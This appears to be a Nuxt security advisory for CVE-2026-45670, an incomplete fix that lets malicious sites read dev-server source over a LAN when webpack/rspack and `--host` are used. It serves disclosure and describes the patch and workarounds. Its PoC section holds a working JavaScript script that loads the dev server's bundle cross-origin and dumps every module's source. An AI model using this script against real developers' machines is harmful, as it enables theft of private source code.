Nuxt: Dev server exposes built source over LAN to malicious sites (incomplete fix for GHSA-4gf7-ff8x-hq99)CVE-2026-45670

### Summary This is an incomplete fix for [GHSA-4gf7-ff8x-hq99](https://github.com/nuxt/nuxt/security/advisories/GHSA-4gf7-ff8x-hq99). Source code may be stolen during dev when using the webpack / rspack builder if the dev server is bound to a non-loopback address (e.g. `nuxt dev --host`) and the developer opens a malicious site on the same network. ### Details The fix for [GHSA-4gf7-ff8x-hq99](https://github.com/nuxt/nuxt/security/advisories/GHSA-4gf7-ff8x-hq99) relied on Sec-Fetch-Mode and Sec-Fetch-Site headers. Because [these headers are sent by the browsers only for potentially trustworthy origins](https://w3c.github.io/webappsec-fetch-metadata/#sec-fetch-site-header:~:text=Site%20header%20for%20a%20request%20r%3A-,Assert%3A%20r%E2%80%99s%20url%20is%20a%20potentially%20trustworthy%20URL.,-Let%20header%20be%20a%20Structured%20Field%20whose), the check is able to bypass for non-potentially trustworthy origins. Since the attack requires the website to be accessible via a non-potentially trustworthy origin, only apps that are using `--host` is affected. ### PoC 1. Create a nuxt project with webpack / rspack builder. 1. Run `npm run dev` 1. Open `http://localhost:3000` 1. Run the script below in a web site that has a different origin. 1. You can see the source code output in the document and the devtools console. ```js const script = document.createElement('script') script.src = 'http://192.168.0.31:3000/_nuxt/app.js' // NOTE: replace with the IP address the dev server listens to script.addEventListener('load', () => { const key = Object.keys(window).find(k => k.startsWith("webpackChunk")) for (const page in window[key]) { const moduleList = window[key][page][1] console.log(moduleList) for (const key in moduleList) { const p = document.createElement('p') const title = document.createElement('strong') title.textContent = key const code = document.createElement('code') code.textContent = moduleList[key].toString() p.append(title, ':', document.createElement('br'), code) document.body.appendChild(p) } } }) document.head.appendChild(script) ``` (This script is the similar with [GHSA-4gf7-ff8x-hq99](https://github.com/nuxt/nuxt/security/advisories/GHSA-4gf7-ff8x-hq99) except for the `script.src` and the global variable name) ### Impact Users using webpack / rspack builder may get the source code stolen by malicious websites if it uses a predictable host and also is using `--host`. This vulnerability does not affect Chrome 142+ (and other Chromium based browsers) users due to [the local network access restriction feature](https://developer.chrome.com/release-notes/142#local_network_access_restrictions). ### Patches Fixed in `[email protected]` and `[email protected]` by [#35051](https://github.com/nuxt/nuxt/pull/35051). The dev-middleware same-origin check now falls back to comparing the request's `Origin` / `Referer` host against `Host` when `Sec-Fetch-*` headers are absent, closing the non-trustworthy-origin bypass. The fix only ships for the `@nuxt/webpack-builder` and `@nuxt/rspack-builder` packages. The default Vite builder was not affected. ### Workarounds If you cannot upgrade immediately: - Don't use `nuxt dev --host`. Bind the dev server to `localhost` (the default) and tunnel from other devices via SSH or a reverse proxy that enforces same-origin checks. - Use Chrome 142+ or another Chromium-based browser that enforces [local network access restrictions](https://developer.chrome.com/release-notes/142#local_network_access_restrictions). - Switch to the Vite builder for development.

Quoted source text, attributed separately from HOL analysis.